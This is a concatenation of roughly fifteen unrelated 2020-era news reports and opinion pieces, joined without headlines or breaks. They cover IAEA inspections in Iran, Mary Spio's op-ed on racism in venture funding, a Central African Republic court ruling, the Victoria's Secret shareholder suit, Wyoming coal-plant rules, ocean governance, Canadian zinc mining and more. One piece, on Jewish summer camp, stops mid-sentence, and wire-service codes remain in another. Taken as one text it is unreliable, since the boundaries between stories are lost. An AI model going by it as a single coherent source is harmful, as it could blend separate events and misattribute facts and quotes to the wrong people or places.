The IAEA reported in May that its roster of 269 monitors and analysts who focus on Iran triggered a record number of inspections last year. There were 1,103 person-days spent on the ground in Iran, combing through sites where Iran enriches uranium and generates nuclear power. The agency bolstered on-the-ground inspections with "more extensive and timely relevant present and historical images" captured by satellites, according to the document.

In a May 16 letter, Iran told the IAEA that it "is willing to satisfy the agency's requests" to visit new sites but first needs to clear "some legal ambiguities and concerns," according to the document.

Monitors are looking for proof of possible undeclared experiments with natural uranium in 2003, as well as conversion activities and storage of the uranium metal during the same period.

The agency continued conducting inspections "not just in Iran but all over the world" during the pandemic, Director General Rafael Mariano Grossi said Friday during a press conference at IAEA labs just outside of Vienna. "We have been able to continue working."

Monitors called 33 snap inspections last year. That figure fell from a record 40 in 2018 but continued to underscore the IAEA is still exercising one of its most potent powers won under the 2015 accord. Inspectors didn't have the right to call surprise visits before the agreement.
To see the grotesqueness of what's happening in America ... this is not the America I dreamed of as a child. This is not the America I grew up wanting to be a part of, the America where I served in the military.

I was born in New York and raised in Ghana. When I was 16, my parents saved enough to send me back to the United States. My first job was at a McDonald's. Since then, I served in the Air Force and created content and technologies for the likes of Boeing, Lucasfilm, Universal Music, Miami Children's Hospital and Microsoft Xbox. Today, I am the head of CEEK Virtual Reality, where we are working to create innovative content solutions and tools for virtual reality and augmented-reality experiences.

As a business owner, the looting breaks my heart. But we've been trying to talk about inequality and systemic racism for so long. It took seeing George Floyd die in front of our eyes for the world to confront it.

For blacks in tech and blacks in business, we've been saying we can't breathe. Weve been denied opportunity based on the color of our skin. Over and over, weve been told, You are not wanted here, we will not support your kind.

It's a bit hypocritical when I see some of the same Silicon Valley VCs who have denied opportunity to people based on gender and race holding up signs that say, "I can't breathe." This has been going on for way too long, and it's time for it to stop  not just on the streets, where people have been bleeding to death, but also in boardrooms and the startup community and all these different places where the doors have been locked.

I've had investors say to me, "I want to put someone else in the role as founder, because I'm not going to go and raise capital in Silicon Valley with a black woman. It's too difficult." Why should that matter? I've created patented technology for Boeing. I've put a satellite in space with my signature on it. Over and over again, you are denied opportunity because of the color of your skin.

The question gets asked, "Where is the black unicorn?" Does anybody wonder why we don't have one?

I cried for George as a mother hearing her son say, "Momma, momma, momma." Mama couldn't save him. But I also cried because as an innovator and black woman in business, I've felt no different. Its like the world is just standing there watching, refusing to hear you. It's a very sad place to be.

Related: Here's How Business Leaders Are Responding to the George Floyd Protests

Image Credit: Mary Spio

When you look at organizations and their leadership, look at how much diversity is recognized. Write to them and demand that they build a diverse organization that represents that platform. If we are not in the room to speak, no one is speaking to it. In the words of Martin Luther King, "In the end, we will remember not the wickedness of our enemies but the silence of our friends."

This is not about, "Poor me, save the Black woman." Women-owned businesses are outperforming other businesses despite the hurdles. It's the whole concept of the wounded deer jumping the highest. We have to be very innovative. We're very careful about how we're spending what comes in. It's a necessity to open the aperture and let other people with other perspectives come in. Something like George's murder is a catalyst to have these discussions openly and say, "Let not his death be in vain. Let's not protest black and blue and forget green."

There is a solution: We all have to work together. We have to be vigilant. If we see something we believe is not right, we need to talk about it and not wait for things to get to where they've gotten. We've seen communities come together, and they will continue to come together. And some people are reaching out and saying, "I need to look more closely at how I've operated in the past because I realize theres room for me to improve."

There are a lot of people whose dreams are being killed on these streets. There are a lot of people being killed in other ways that we need to think about it, especially when it comes to business. The only way things will change in business is if people protest racist, sexist systems by holding VCs that take from pension funds accountable. If you work and put money in a retirement fund, make sure you know where that fund is being invested and demand accountability. You can voice your frustration by holding platforms that have little to no representation in their leadership accountable. Make businesses with discriminatory practices accountable.

Related: Here Are Legitimate Fundraisers Helping Damaged and Destroyed Small Businesses

Image Credit: Mary Spio

We must demand change, or the excuses will continue. When you look at the percentage of people of color and women that get funded in VC land, you realize Silicon Valley has had its knee on the necks of women and people of color for a long time. Social justice today must be inclusive of all facets  especially entrepreneurship.

We can not build a civilization for the world with only a small fraction of humanitys brain power. Innovation should be inclusive. The world cannot continue to keep its hands in pocket and whistle and have discussions on why there are no black unicorns galloping alongside the Zuckerbergs, Bezoses and Musks.

Stop the apathy. Stop the excuses. Let us breathe!

Mary Spio is the founder of virtual reality app CEEK, as well as a former deep space engineer for Boeing and U.S. Air Force satellite communications technician.

Related:

Using Tax Preparer to File Taxes May Delay Your Coronavirus Stimulus Check

Is Dave & Buster's Entertainment Stock a Good Reopening Play?

Second Coronavirus Stimulus Check: How to Check the Status



Copyright 2021 Entrepreneur.com Inc., All rights reserved
Central African Republic's constitutional court on Friday rejected changes to the constitution that would have allowed President Faustin-Archange Touadera to stay in power if an election in December is delayed due to the new coronavirus.

The government had argued the changes, which would have authorised Touadera and national lawmakers to remain in office for an amount of time to be determined by the constitutional court, were need to ensure continuity of government.

The country, still struggling to emerge from a prolonged civil war, has so far confirmed about 1,300 cases of COVID-19 and four deaths. But it has a weak health system that could easily be overrun if case numbers surge.

In its ruling, the country's highest court said the proposed changes violated constitutional provisions forbidding modifications to the president's term and providing for the speaker of parliament to take over on a three-month interim basis if an election must be delayed.

"The will of the people would be tossed aside," it said in its judgment, which also urged the president to organise consultations with political parties to reach a consensual solution.

The presidency declined immediate comment. Mathurin Djimbele, one of the lawmakers who sponsored the proposal in parliament, said he accepted the court's judgment but accused it of shirking its responsibilities.

CAR is one of several African countries, along with Ivory Coast, Guinea and Ghana, where the pandemic has injected fresh uncertainty into presidential elections scheduled for later this year that were already expected to be bitterly contested.

Touadera was elected in 2016 in a vote that followed a civil war unleashed by the overthrow three years earlier of former President Francois Bozize.

Most of the diamond-rich country remains beyond government control as rival militias continue to clash.

Bozize returned to CAR in December after six years in exile and has said he might stand in the election.

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L Brands Inc., the parent company of Victoria's Secret, is being sued for records by a shareholder over the company's alleged "toxic culture," Bloomberg Law reported Thursday.

John Giarratano filed the lawsuit in Delaware demanding the company address claims of sexual harassment among senior leaders.

The lawsuit also mentions the company's ties to convicted sex offender Jeffrey Epstein, who served as a "personal advisor" to former L Brands CEO Les Wexner.

Visit Business Insider's homepage for more stories.

L Brands Inc., the parent company of Victoria's Secret, is facing a lawsuit for records that alleges a "toxic culture" that has "plagued" the company "for years", Bloomberg Law reported Thursday.

The lawsuit was filed in Delaware by L Brands shareholder John Giarratano on Thursday with the intention of getting records and investigating the company in relation to its alleged "toxic culture of sexual harassment, discrimination, and retaliation" among senior leaders.

"While the brand has come under scrutiny in recent years for its 'porny' image and portrayal of women as sex objects, the public could not have predicted the depths of wrongdoing," the lawsuit says. "Victoria's Secret is in urgent need of reform."

According to the court docket, Giarratano served a demand to L Brands in light of a report by The New York Times published in early February detailing a misogynistic culture at Victoria's Secret.

He alleges L Brand's board of directors failed "to investigate and take appropriate action in response to complaints of sexual harassment," as well as "the lack of independence" of board members from L Brands CEO Les Wexner. Wexner stepped down as CEO in late February after nearly six decades at the head of the company.

The document stated that the company agreed to the demand but failed to produce related documents, and "has been completely silent" since April 3.

Story continues

"This stonewalling is all the more disappointing given that recent reporting has made clear that Victoria's Secret is in urgent need of reform," the court document stated.

Among a slew of allegations, the suit also includes mention of convicted sex offender Jeffrey Epstein and his ties to the company.

Epstein was charged with sex trafficking and conspiracy to commit sex trafficking. He was awaiting trial and held at the Metropolitan Correctional Center in New York, where he died by suicide last July.

Wexner had previously employed Epstein as a personal advisor and later attempted to distance himself from the disgraced New York financier in light of the charges filed last year. An investigation by The Times revealed Epstein's misconduct posing as a model "recruiter" for Victoria's Secret.

The L Brands board of directors hired a firm to investigate Epstein's role at the company, according to reports, and in September of last year, Wexner addressed his ties to Epstein at an L Brands' investor meeting.

"At some point in your life we are all betrayed by friends," Wexner said. "Being taken advantage of by someone who was so sick, so cunning, so depraved, is something that I'm embarrassed I was even close to. But that is in the past."

L Brands did not immediately respond to a request for comment.

Read the original article on Business Insider
A US judge has set bail of $US1 million ($A1.4 million) for three former Minneapolis police officers charged with aiding and abetting in the murder of George Floyd.

Bail for the three defendants, who made their first court appearance on Thursday, would be lowered to $US750,000 ($A1.1 million) if they agreed to certain conditions, including forfeiting any personal firearms.

Judge Paul Scoggin set each man's next court appearance for June 29.

The four former officers charged over George Floyd's death: (from left) Derek Chauvin, J. Alexander Kueng, Thomas Lane and Tou Thao. Credit:Hennepin County Sheriff's Office

Thomas Lane, J Alexander Kueng and Tou Thao were charged on Wednesday with aiding and abetting second-degree murder and aiding and abetting second-degree manslaughter.
Levels of anxiety and depression in the UK have both fallen in the past week but remain above the usual reported averages, according to UCL's Covid-19 social study of over 90,000 adults during the coronavirus epidemic.

The ongoing study, which was launched in the week before lockdown, is funded by the Nuffield Foundation with additional support from Wellcome and UK Research and Innovation (UKRI). It is the UK's largest study into how adults are feeling about the lockdown, government advice and overall wellbeing and mental health.

The study shows that depression levels have decreased particularly amongst those under 60, but depression and anxiety are still highest in young people, those living alone, those with lower household income, people with a diagnosed mental illness, people living with children, and people living in urban areas.

The figures also show that life satisfaction, measured on a scale from 0 (not at all satisfied with life) to 10 (completely satisfied with life) has risen from under 5.5 when lockdown was first announced to over 6, but is still lower than usually-reported averages.

Lead author, Dr Daisy Fancourt (UCL Epidemiology & Health Care) said: "It is encouraging that levels of anxiety and depression have both fallen as lockdown has eased. However, the levels being reported by participants are still worse than usual reported averages. While our sample is not random, meaning direct comparisons to usual averages are complex, we have good representation across demographic groups and all data are weighted to population proportions for key demographics."

Respondents were also asked how much confidence they had in the Government's handling of the Covid-19 epidemic from one (not at all) to seven (lots). The study finds that whilst lockdown measures have begun to ease in the devolved nations, confidence in their respective governments remains steady at around 5 in Scotland & Northern Ireland, and just over 4 in Wales. But the difference in confidence between the devolved nations and the UK government continues to grow with English confidence currently at around 3.5. Confidence is lowest amongst those under 30, and is also lower amongst those in urban areas.

Levels of 'complete' compliance with lockdown measures have also fallen further, with a greater decrease and lower levels in people with higher household incomes, people in England (compared to Scotland or Wales), and people in cities. However, 'majority' compliance remains relatively steady, with over 90% of people surveyed still showing a large degree of compliance with the rules.

Thoughts of death and self-harm, experience of self-harm, and loneliness also remain relatively stable but are higher amongst younger people, those in urban areas, those with a lower household income and people with a diagnosed mental health condition.

Cheryl Lloyd, Education Programme Head at the Nuffield Foundation said: "Whilst it is reassuring that levels of anxiety and depression have begun to decrease as lockdown lifts, it is important that researchers continue to carefully monitor the psychological impacts of the pandemic, especially as the social and economic impacts of COVID-19 are likely to be long-lasting."

Explore further Just over half of adults strictly sticking to lockdown guidelines as confidence in government falls
Before retiring a coal-fired power plant in Wyoming, an owner must attempt to sell it and keep it burning.

Thats according to legislation signed into law last year by the governor. Since then, the state has been feverishly working to write up the rules both current owners and prospective buyers need to follow before a power plant is slated for decommissioning or sold. The Public Service Commission  the agency tasked with issuing the rules and overseeing the rollout of the new law  took a step closer Thursday to formally issuing the proposed rules for review. The commission held its fourth and final technical conference Thursday.

Really now, we have to be focused on getting pen to paper and getting these (draft rules) in a position where we can make it a formal process, said Kara Fornstrom, chairman of the Public Service Commission.

The commission plans to publish the final draft of its rules as early as this summer, with the goal of finalizing the review process by the end of this year.

Whats Senate File 159, again?

Senate File 159 requires utility companies to undertake a good-faith effort to sell coal-fired power plant units before retiring them. In other words, instead of shuttering the power plants producing electricity, a utility must make an attempt to sell the units of the facility to new owners.

The law, initially sponsored by Sen. Dan Dockstader, R-Afton, was proposed shortly after the states largest utility announced initial plans to potentially retire parts of its fleet of coal plants over time, including many peppered throughout the Equality State. The costs of producing electricity from coal have come under scrutiny in recent years as cheap natural gas and renewable energy sources have entered energy markets in force.

Publicly regulated utilities have a mandate to follow: ensure reliability of the grid while protecting ratepayers. Rocky Mountain Power has found a gradual retirement of some of its coal facilities will save customers money.

In reaction, state lawmakers worked in fervor to advance legislation that could save the mammoth power plants from being completely turned off. Extending the lives of the states mighty power plants could prop up, and even save, towns built on coal like Kemmerer, Rock Springs and Glenrock, lawmakers said. That effort led to the successful passage of Senate File 159 last year.

PacifiCorp, the parent company of Rocky Mountain Power, has since announced updated plans to accelerate the retirement of its coal fleet, including units at Naughton in Kemmerer, Jim Bridger near Rock Springs and Dave Johnston in Glenrock. Under the plan, the first coal unit in Wyoming will close in 2023. The utilitys decision to retire several coal-fired power plants in the near future has fired up contentious debate. Wyoming mines more coal than anywhere else in the country. It is also a leading contributor of coal-generated electricity in the Mountain West. Power plant shutdowns could lead to mass layoffs and an economic collapse in coal-dependent towns.

Whats in the rules?

But the logistics of implementing the new law remains complicated, and the Public Service Commission is still ironing out the exact rules. The commission has spent the better part of the past year soliciting input and recommendations from a number of stakeholders, including Rocky Mountain Power, Wyoming Industrial Energy Consumers, Coalition of Local Governments, the Powder River Basin Resource Council and others.

The discussions have revolved largely around how to protect ratepayers if coal-fired power plants continue to stay online. In addition, citizen groups have requested the commission to guard taxpayers against reclamation obligations or environmental liabilities down the road, in the event a new owner walks away or becomes insolvent.

In the latest round of comments submitted to the commission last month, landowners group the Powder River Basin Resource Council underscored the importance of conducting a rigorous review of potential buyers by assessing a companys fitness to own and operate a power plant.

We believe that financial assurance should be a mandatory, not a discretionary requirement, Shannon Anderson, a staff attorney with the council, wrote in May 15 comments to the commission. Bonding requirements are a critical mechanism to ensure that the liability for a coal plant does not fall back on the utility seller, and in turn its ratepayers, or the state and its taxpayers if the purchaser abandons operations or otherwise defaults on its obligations.

But these requirements must also not inhibit interested buyers from pursuing the acquisition of a coal-fired power plant, according to industry groups.

Wyomings coal fueled generation fleet is an irreplaceable source of dispatchable, base load power that is required for the continued provision of safe, reliable and adequate sever to electricity customers, Terrance Manning, the CEO of Glenrock Energy, wrote in May 15 comments. The firm has long been in support of the opportunity to open up otherwise-retired power plants to new purchasers.

To maximize the likelihood of a successful implementation of SF-0159, the purchaser of an otherwise retiring coal fuel generation facility must be afforded flexibility to deploy the electricity produced in a variety of ways, Manning added.

The Wyoming Legislature did pass a bill this year that will give a new owner of a coal unit the opportunity to sell the electricity it generates to certain industrial customers within the service territory.

Ultimately, the Public Service Commissions Chairman Kara Fornstrom said she will be working to consider each stakeholders comments against the agencys obligations to Wyoming residents. She plans to issue draft rules for a formal review sometime this summer.

Follow the latest on Wyomings energy industry @camillereports

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SCHENECTADY  Hundreds of protesters marched through the streets of Schenectady Thursday evening to demand justice and change for black people and communities of color in the latest of a series of protests that have swept the Capital Region and nation.

For roughly two hours Thursday, protesters marched throughout the city, calling for widespread structural change in the wake of the May 25 killing of George Floyd, a black man who was suffocated after Minneapolis police officer Derek Chauvin held his knee to Floyd's neck for over eight minutes while three other officers watched.

"Who do you protect? Who do you serve?" the protesters chanted, as police cruisers followed them around the city.

The march began in Veteran's Park and wended its way up to the Schenectady County Jail, where protesters then lay down in the middle of Veeder Street on their stomachs and with their hands behind their backs for a moment of silence. Traffic, which was light, was held up while they occupied the street. This scene repeated itself throughout the evening.

When they got up, they moved closer to the jail and chanted "Let our people go" after a succession of black residents shared their own interactions with violence from the police.

"The system is here to try to oppress us," said Legacy Casanova, a 24-year-old Schenectady man. "But sometimes it is the common people's duty to police the police. And we need to let them know that we're not stupid, that we're not ignorant, that we're not another statistic. We know our rights and we're not going to be silenced and we're going to keep fighting until we get what we need."

Their march continued up Albany Street, turning onto Brandywine, and then State Street, Hulett Street, Hamilton Street and finally Jerry Burrell Park. As they walked they chanted "come outside, walk with us" at passersby and motorists. Many did, with their numbers eventually swelling to several hundred. Some motorists left their cars at the backed-up intersections to take a knee with the protesters in solidarity.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

Jamaica Miles, founder of All of Us Community Action Group, led the march and urged black residents to help promote and elect each other into local positions of power.

While Schenectady police followed the protesters in their cruisers, they had no interactions with the marchers. The marchers acknowledged them, though.

"You do not get to hurt us and then tell us you're here to help us," Miles said through a bullhorn. "No more police. Not one more f--king dime ... Understand that the city of Schenectady, it's priorities about where they spend their money and how they spend their money ... It is to hold us captive and keep us down, to keep us in poverty, to deny us what we deserve."

"They try to police our bodies, our actions, our words," she continued. "They try to police our minds. We say, no more."
Officers from the Surrey Constabulary have begun investigating a 27-year-old missing persons case involving a Benalmadena-based British bar owner. After the missing woman's nephew produced what he believes might be fresh evidence, the police decided to start an inquiry. Strangely enough, this will be the very first police investigation into the disappearance of Irish national Bernadette Cooper, who vanished on her way to Malaga in January 1993. Mistakes were made in the initial private investigations carried out, as Bernadette's 61-year-old nephew Leon Moore told SUR in English.

"No police force originally investigated the case. The initial investigation was done solely through word of mouth among the Irish community in Spain, the Salvation Army and a private investigation made by a lawyer. Her real name was Susan, but she always used her second name, Bernadette. Back then, they were searching for Susan, which was an error that I have only recently discovered."

Bernadette, who will be 77 later this month, had arrived on the coast in the late 1980s to enjoy a new life in the sun. Along with her then husband Brian, she brought a bar called Molley Malones, (now the Wheel Tapas and Punters Bar) in Benalmadena Costa, but their dream life soon began to run into problems. The couple struggled to make the bar financially viable and their marriage eventually broke down.

Brian returned to the UK in 1991 and the couple began divorce proceedings. Desperately in need of funds to keep the business afloat, Bernadette temporarily shut the bar in late 1992, and returned to London. She headed to the family home in Surrey with the hope of a divorce settlement. Her next movements are confusing and her family feel certain that she never arrived back in Malaga, but proving this has been difficult.

"She didn't arrive back

in Spain as far as we know. She never collected her belongings and it seems that no one has seen her since she left for the airport in London. The police are taking this seriously and are now attempting to find her passport movements," Leon said.

In January 1993, Bernadette had contacted a friend on the Costa del Sol to inform him she was on her way back to Benalmadena with sufficient funds to save the bar. The call was the last contact anyone has had with her.

A resistance to come forward

However, members of her family have never stopped searching for the truth. Leon, who describes his aunt as someone who was "feisty and vivacious" feels that people are not being honest about his aunt.

"I find it difficult to believe that so many people I have spoken to in Benalmadena are clamming up and not giving me any information. There seems to be a resistance to come forward," he said.

There were several aspects of the disappearance that prompted Leon to contact the police, but he cannot reveal details because the investigation is ongoing. His determination to find out what really happened is fuelled by a promise he made to his father, who died last year.

"It was part of my dad's life work to try and find his sister. Shortly before he died, I made a promise that I would carry on," he said emotionally.

Leon claims he is receiving new information daily, although most is just "a lot of chasing shadows", but he is keeping optimistic .

"We are looking at a jigsaw puzzle and there is a gigantic piece missing. There is a small possibility that she just decided to take off and start afresh. It's the kind of narrative that people are trying to keep hold of, the Shirley Valentine kind of thing," he concluded.
Oceans are teeming with life and are connected to society through history and culture, shipping and economic activity, geopolitics and recreation. Credit: Shutterstock

Oceans cover 70 percent of the Earth's surface. But, because many of us spend most of our lives on land, the 362 million square kilometers of blue out there aren't always top of mind.

While vast, oceans are not empty. They are teeming with life and connected to society through history and culture, shipping and economic activity, geopolitics and recreation.

But oceansalong with coastal people and marine speciesare vulnerable, and good ocean governance is critical to protect these expanses from pollution, overfishing and climate change, to name just some of the threats.

The laws, institutions and regulations in place for the oceans are a multi-layered patchwork and always a work in progress.

Common heritage of humankind

Some characterize oceans as the "common heritage of humankind." As such, the United Nations plays a critical role in ocean governance, and the UN Convention on the Law of the Sea (UNCLOS) is a key international agreement. The agreement grants coastal and island states authority over swaths of ocean extending 200 nautical miles (360 kilometers) from the shore. These are called exclusive economic zones (EEZ).

EEZs are domestic spaces. Countries enshrine law and delegate authority to state agencies that lead monitoring, management and enforcement in these zones.

Indigenous peoples also assert jurisdictional authority and coastal peoples hold critical insight about coastal and marine ecosystems. Governance is improved when state agencies share power and collaborate.

For example, during the Newfoundland cod collapse, inshore fishermen had local ecological knowledge about changing cod stock dynamics that might have helped avoid the disaster.

Giant kelp grows in a thick, submerged forest near the Channel Islands in California. Credit: Shutterstock

Areas beyond national jurisdiction

A vast portion of the ocean lies beyond EEZs: 64 percent by area and 95 percent by volume. These regions are often referred to as the high seas. The high seas are important for international trade, fishing fleets, undersea telecommunications cables and are of commercial interest to mining companies. The high seas also host a wide array of ecosystems and species. Many of these are understudied or altogether unrecorded.

UN agreements identify high seas using a technical term "areas beyond national jurisdiction" that refers to the water column. The sea floor is identified separately and called "the area." UNCLOS and other pieces of international law regulate activity in these spaces and are responsible for ensuring that no single country or company dominates or benefits unfairly.

Other multilateral, sector-based arrangements manage particularly complex resources. For example, regional fisheries management organizations bring nation states together to collaborate on monitoring and managing fish stocks, like tuna, that have large ranges and cross multiple borders and boundaries.

The biodiversity governance gap

Currently, international law does not meaningfully address biodiversity monitoring and conservation in the high seas. This "biodiversity governance gap" has been of concern for the past two decades.

Without a binding mechanism under international law, countries are not obligated to co-operate on developing and implementing conservation measures in the high seas. In addition, monitoring the impacts of various economic activities, such as fishing and mining, on biodiversity is piecemeal and inadequate. Marine species or even entire ecosystems could be lost before we have had a chance to identify and understand them.

On Dec. 24, 2017, the UN General Assembly voted to convene a multi-year process to develop a treaty on "the conservation and sustainable use of marine biological diversity of areas beyond national jurisdiction."

Three of the scheduled negotiation sessions have taken place, while the fourth and final one, scheduled for March 2020, was postponed due to the coronavirus pandemic. Some progress has been made. Notably, the draft treaty addresses four key areas: marine genetic resources; area-based management tools, including marine protected areas; environmental impact assessments and capacity building and the transfer of marine technology.

The high seas host a wide array of ecosystems and species. Credit: Shutterstock

Yet, many disagreements remain.

For example, countries diverge on the extent to which governance should prioritize the principle of oceans as the "common heritage of humankind." Very pragmatic questions underlie this tension: should marine genetic sequences be commercialized? If so, how would this work and will it be possible to agree on a way to share benefits fairly? These are critical and how they are addressed will determine if persistent inequities between the Global North and Global South are lessened or exacerbated.

Another challenge relates to marine protected areas (MPAs), especially how they are defined and implemented. What levels of protection are needed for an area to count as an MPA? How much should the treaty predetermine processes used to establish new MPAs and how will MPA rules be enforced?

COVID-19: Negotiations cut adrift?

Has postponing the final round of negotiations cut high seas biodiversity negotiations adrift? A European research team is surveying participants and experts to learn what impact the disruption may have. However, it is unlikely that the treaty will fall completely by the wayside. Delegates and negotiators may well continue to informally discuss options with one another and refine positions with an eye towards reaching consensus when rescheduling is possible.

A ratified treaty covering biodiversity in the high seas would be an exciting layer to add to the ocean governance patchwork.

But, delegates and negotiators always have to make concessions during talks, and disagreements often persist after the treaty has been signed. Implementation can be as challenging and contentious as negotiation itself. Various human dimensions and economic challenges will also continue to need attention, including human trafficking, perverse fishing subsidies and our collective responsibility to small island states that may be submerged as sea levels rise.

These challenges point to other international forumsthe World Trade Organization, International Labour Organization and the UN Framework Convention on Climate Changeand serve to remind us of the myriad ways that we are all connected to, and by, oceans.

Explore further Researchers use big data to identify biodiversity hotspots

This article is republished from The Conversation under a Creative Commons license. Read the original article.
DENVER (JTA)  In the summer of 1999, we slept head to head in top bunks at Camp Ramah in Canada. We also shared a viral upper respiratory illness that kept us from participating in the much-anticipated yom bli shemesh (a day without sun) while the rest of our cabin got to experience a day of camp in the middle of the night.

We had to stay in bed for a few days, but soon recovered and enjoyed another invaluable summer.

Jewish summer camp made us into the adults we are today. Now we work side by side in the Emergency Department of a major childrens hospital (Heather as a nurse and A...
Chinas first domestically built aircraft carrier, the Shandong (hull number 17), departed from the Dalian Shipyard on May 25 for sea trials in the northern region of the Yellow Sea. Let's look back at some of the special moments from this aircraft carriers history.

The Shandong aircraft carrier was delivered to the People's Liberation Army (PLA) Navy at a naval port in Sanya, south China's Hainan province, on Dec. 17, 2019.

The designers and constructors have solved problems concerning the overall design and hull construction of the aircraft carrier and improved its overall combating capabilities, according to Cheng Dewei, spokesperson for the PLA Navy.

On Dec. 19, 2019, the aircraft carrier became a trending topic on Chinese microblogging website Sina Weibo after it travelled a circular route during a sea trial.

At the beginning of January 2020, a J-15 fighter took off from the aircraft carrier.

During the pneumonia outbreak, the Communist Party of China (CPC) committee at the aircraft carrier continued with military training while ensuring epidemic prevention and control to reduce the impact of the novel coronavirus.

At the end of May, several J-15 fighters took off from and landed on the aircraft carrier as part of their training tasks.

The Shandong aircraft carrier is conducting marine trails and training according to the annual plans to test its weapons and equipment and improve its level of training, according to Ren Guoqiang, spokesperson for the Ministry of National Defense.
Cambodian police on Friday ruled out a probe into the alleged disappearance of a self-exiled Thai democracy activist after a rights group said he had been abducted in broad daylight from outside his Phnom Penh apartment. Wanchalearm Satsaksit, a sharp critic of the Thai government led by ex-general Prayut Chan-O-Cha, was dragged into a black car on Thursday evening, according to Human Rights Watch. Citing several witnesses and CCTV from security cameras, HRW says he was on the phone with a colleague when he was taken by "a group of armed men". But on Friday, Cambodian police said they knew nothing the of the alleged disappearance. "We don't know about it, so what should we investigate?" Chhay Kim Khoeun, the spokesman of Cambodian National Police told AFP. Wanchalearm is wanted in Thailand for allegedly breaching the criminal Computer Crimes Act by running an acerbic anti-government Facebook page. Since a May 2014 coup, Thailand has vowed to track down pro-democracy critics, especially those accused of attacking the kingdom's unassailable monarchy. Wanchalearm last posted on his personal Facebook account a few hours before his disappearance, writing cryptically "Compromise Mode". At least eight prominent Thai activists who fled after the last coup to Laos, Cambodia and Vietnam have subsequently disappeared, HRW added. A spokesman for Cambodia's Interior Ministry suggested the HRW report could be "fake news". "We don't where HRW got the information," Khieu Sopheak told AFP, adding "there's a lot of fake news out there". Thailand's government emerged from the 2019 elections but remains a legacy of the coup five years earlier with a cabinet stacked with ex-generals and their military allies. Pro-democracy parties and activists have been hemmed in by legal cases. The Prayut government is increasingly unpopular -- more so as the coronavirus rips through the Thai economy. In an expletive-laden video posted on Facebook June 3 which ran up 12,000 views, Wanchalearm hammered the government and the premier for his "failed administrative skills". burs-apj/qan Cambodian police have ruled out a probe into the alleged disappearance of a self-exiled Thai democracy activist in Phnom Penh
Organisers of Torre del Mars Weekend Beach Festival have officially announced that the festival will not be taking place this year.

The event, which was due to take place in the eastern Costa del Sol resort over the first weekend in July and would have been in its seventh year, will now be held from 30 June until 3 July 2021 instead.

Enka Tripiana, who is responsible for press and communications for the festival, explained to SUR in English on Friday, The festival is being postponed and not cancelled because it is the same line-up in 2021 and the tickets bought for 2020 are valid for 2021. It's illogical to say that it was cancelled when it never took place in 2020 and the line-up is the same.

Tickets already bought for this years festival will be valid for next year, organisers explained. However, refunds are available from Saturday, 6 June, for a period of 14 days.

The line-up, which includes South African hip hop group, Die Antwoord (meaning The Answer in Afrikaans) will remain the same, with the exception of Argentinian reggaeton artist, Paulo Londra, who is currently arranging dates for his 2021 tour.

Artistic director, Fatima Rodriguez, told SUR; Its been a lot of hard work and now we are feeling extremely sad to think that in a few days we would have been experiencing and celebrating the festival.

The absence of the festival will be felt economically in Torre del Mar this year as it has brought around eight million euros into the town in previous years, as well as providing over 1,000 jobs directly or indirectly related to the event. In 2019 150,000 people from all over Spain and beyond travelled to Torre del Mar especially for the popular music festival.

For further information on ticket refunds visit: www.weekendbeach.es
Canada is the ninth largest miner of zinc in the world, producing just over 2% of all global zinc production. At one time, Canada was the worlds largest producer of zinc, but China leads the world in zinc mining, producing about 33% of global needs. Peru comes in second, producing around 11% of the worlds zinc. Canada is still a significant player on the scene however, and In 2018, total exports of zinc and zinc products from Canada amounted to $2.6 billion.

A zinc mine. Image credit: Pierluigi Palazzi/Shutterstock.com

The majority of zinc mined worldwide is extracted from beneath the Earths surface. Less than 10% is obtained from open pit mining. In Canada, zinc is mined in the provinces of Manitoba, Quebec, Ontario, New Brunswick, and British Columbia. Mining this metal began in this nation in the 1920s, when the differential flotation method was first used to separate out zinc and lead concentrates. Various zinc mining companies operate throughout Canada, and all primary production of the metal is done using the electrolytic process, which yields zinc that is more than 99% pure.

By looking at zinc mining in each province in which it has significant existence, we can gain a better understanding of Canadas zinc industry as a whole.

Manitoba

In 2018, zinc mining was found to be the second largest primary resource industry in Manitoba. Zinc mining garnered about $2.5 billion in production value that year, and accounted for 2.65% of the provinces nominal GDP, with 276 new wells drilled. Mining copper-zinc deposits in this province goes all the way back to 1915, with the Hudbay Minerals Inc. Flin Flon mine.

Hudbay Minerals, Calinex Mines, Royal Nickel Corp, Glencore Canada, Rockcliff Metals, Trevali Mining, Nevada Zinc, and Sendero Mining are all companies operating in Manitoba zinc mining.

Quebec

Zinc is being mined in Quebec by companies that include Glencore Canada, and Nyrstar Langlois. Some zinc mines in the province that are now no longer operational go all the way back to the 1950s, such as the Abcourt mines.

In mines that are operational, zinc is the main substance extracted, and by-products include sliver, copper, and gold. ZInc mining along with copper and nickel, comprises over 14% of mining activities in Quebec. Glencore Canadas Bracemac-McLeod Mine in Matagami, Quebec is one example of the provinces zinc producers.

Ontario

In 2018, Ontario produced just over 23% of Canadas zinc, with 61.8 thousand tonnes extracted. Zinc production in Ontario goes back at least 100 years, and some of the biggest companies operating in the province include Glencore, Vale Canada, and KGHM International. Glencores Kidd Operations mine located in Timmins, Ontario is the worlds deepest base-metal mine below sea level, operating at 9600 feet (2926m), with a shaft bottom of 9889 feet (3014m).

New Brunswick

New Brunswick is home to zinc mines including those run by Trevali and Noranda. Trevalis Caribou mine in New Brunswick produces zinc, lead, and silver at the Bathurst mining camp operation. Many of New Brunswicks known zinc deposits are now depleted, but according to Perspective.ca, nearly fifty companies now hold mineral claims in the province, and many of these are actively exploring their territory.

British Columbia

British Columbias Sullivan Mine targeted a massive sulfide deposit consisting of silver, zinc, and lead ore minerals. Image credit: James St. John/Wikimedia.org

B.Cs largest producer of zinc was the Sullivan Mine, which yielded an impressive 8 million tonnes of zinc from its opening in 1909 until it closed in 2001. This mine was one of the largest producers of lead and zinc worldwide for many years, and produced over $20 billion in lead, zinc, and silver. Zinc deposits still exist in British Columbia, including SEDEX, carbonate hosted, volcanogenic massive sulphide, skarn and manto deposits, and veins, occurring in at least fourteen locations throughout the province.

Industrial Applications

Galvanizing metallic structures in a zinc bath. Image credit: Bogdan Vija/Shutterstock.com

In industry, zinc is used primarily for protecting iron and steel from rusting. This process is called galvanization, and it involves coating iron or steel with a layer of zinc to safeguard the metal underneath from corrosion. Interestingly, about 25% of the global zinc demand is now met through recycled materials such as the zinc found in batteries, but mining continues as metals hold a long service life, and global demand is high as populations in countries like China modernize.

